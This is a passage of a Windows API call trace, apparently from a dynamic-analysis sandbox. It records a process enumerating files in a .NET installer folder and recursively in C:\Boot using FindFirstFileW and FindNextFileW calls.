lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0077.661] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.662] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0077.663] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0077.663] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0077.663] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0077.663] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0077.663] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0077.663] FindClose (in: hFindFile=0x11ba1d0 | out: hFindFile=0x11ba1d0) returned 1 [0077.663] GetProcessHeap () returned 0x11a0000 [0077.663] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0077.666] FindNextFileW (in: hFindFile=0x11b9c50, lpFindFileData=0x2fbf790 | out: lpFindFileData=0x2fbf790*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.666] GetProcessHeap () returned 0x11a0000 [0077.667] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0077.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0077.838] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0077.839] GetProcessHeap () returned 0x11a0000 [0077.839] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.839] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.839] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.840] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.840] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.840] GetProcessHeap () returned 0x11a0000 [0077.840] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.840] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0077.840] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0077.840] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0077.840] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.840] GetProcessHeap () returned 0x11a0000 [0077.840] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0077.841] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.841] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, 